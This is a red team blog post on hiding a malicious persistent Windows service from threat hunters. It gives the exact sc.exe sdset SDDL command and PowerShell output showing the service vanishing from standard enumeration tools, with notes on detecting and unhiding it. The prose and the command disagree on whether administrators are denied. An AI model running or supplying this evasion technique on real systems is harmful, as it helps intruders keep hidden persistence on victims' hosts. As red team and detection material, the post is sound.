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Red Team Tactics: Hiding Windows Services

A little known feature of Windows allows attackers to hide persistent services from view, creating an opportunity to evade threat hunting detection.

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A little known feature of Windows allows the red team or an attacker to hide services from view, creating an opportunity to evade detection from common host-based threat hunting techniques.

In a recent red team engagement, my team was up against some well-trained, sophisticated defenders. We built custom malware to evade the anticipated EDR platforms, but we knew host analysis would eventually get us caught and quickly pulled from the target organization.

```
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
```

Status	Name	DisplayName
Running	SWCUEngine	SWCUEngine

Taking notes from several advanced threat groups, we will use common service names that could be overlooked to try and blend into a system while maintaining persistence on the host. Here, *SWCUEngine* is our malware, shallowly

pretending to be the AVAST software cleanup engine. While this might escape casual inspection, in an exercise where the defenders are actively hunting for the presence of the red team, this is probably going to get us caught.

So, we decided to tie on a bit of extra difficulty.

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)SC"
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name SWCUEngine
Get-Service : Cannot find any service with service name 'SWCUEngine'.
At line:1 char:1
+ Get-Service -Name SWCUEngine
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (SWCUEngine:String) [Get-Service], ServiceCommandException
+ FullyQualifiedErrorId : NoServiceFoundForGivenName,Microsoft.PowerShell.Commands.GetServiceCommand
```

Windows services support the ability to control service permissions using the *Service Descriptor Definition Language* (SDDL). As administrators, we normally don't have to change the SDDL syntax of service permissions manually, but through careful manipulation an attacker can hide their presence in a running service. In this example, the imposter SWCUEngine service becomes mostly invisible to the blue team defenders.

The SDDL syntax is a little *obtuse*, but breaks down into the following elements:

D: - Set the Discretionary ACL (DACL) permissions on the service

(D;;DCLCWPDTSD;;;IU) - Deny Interactive Users the following permissions:

- DC - Delete Child
- LC - List Children
- WP - Write Property
- DT - Delete Tree
- SD - Service Delete

This SDDL block is repeated for services (SU) and administrators (BA) as well. Allow permissions follow, inheriting the default permissions for services. Special thanks to [Wayne Martin](#) and [Harry Johnston](#) for their articles on decoding SDDL permissions.

By making this change to the service, the persistence mechanism is hidden from the defenders. Neither `services.exe`, `Get-Service`, `sc` query nor any other service control tool I'm aware of will enumerate the hidden service.

```
PS C:\WINDOWS\system32> Get-Service | Select-Object Name | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> Get-WmiObject Win32_Service | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe query | Select-String -Pattern 'SWCUEngine'
PS C:\WINDOWS\system32
```

If the defender knows the name of the service in advance, they can identify the service presence by attempting to stop it. In this example, the service JoshNoSuchService does not exist, while SWCUEngine exists and is hidden:

```
PS C:\WINDOWS\system32> Set-Service -Name JoshNoSuchService -Status Stopped
Set-Service : Service JoshNoSuchService was not found on computer '.'.
At line:1 char:1
+ Set-Service -Name JoshNoSuchService -Status Stopped
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (.:String) [Set-Service], InvalidOperationException
+ FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.SetServiceCommand


PS C:\WINDOWS\system32> Set-Service -Name SWCUEngine -Status Stopped
Set-Service : Service 'SWCUEngine (SWCUEngine)' cannot be configured due to the following error: Access is de
At line:1 char:1
+ Set-Service -Name SWCUEngine -Status Stopped
+ ~~~~~
+ CategoryInfo          : PermissionDenied: (System.ServiceProcess.ServiceController:ServiceController) [
ServiceCommandException
+ FullyQualifiedErrorId : CouldNotSetService,Microsoft.PowerShell.Commands.SetServiceCommand
```

If you know the name of the service that is hidden, then you can *unhide* it again:

```
PS C:\WINDOWS\system32> & $env:SystemRoot\System32\sc.exe sdset SWCUEngine "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;
[SC] SetServiceObjectSecurity SUCCESS
PS C:\WINDOWS\system32> Get-Service -Name 'SWCUEngine'

Status      Name             DisplayName
-----
Running     SWCUEngine       SWCUEngine
```

On the red team, this can be a useful technique to preserve persistence on a compromised host. The hidden service will autostart after a reboot as well.

In the next article, my colleague and trusted defense analyst [Jon Gorenflo](#)  will present defense options for detection and enumeration. Stay tuned!

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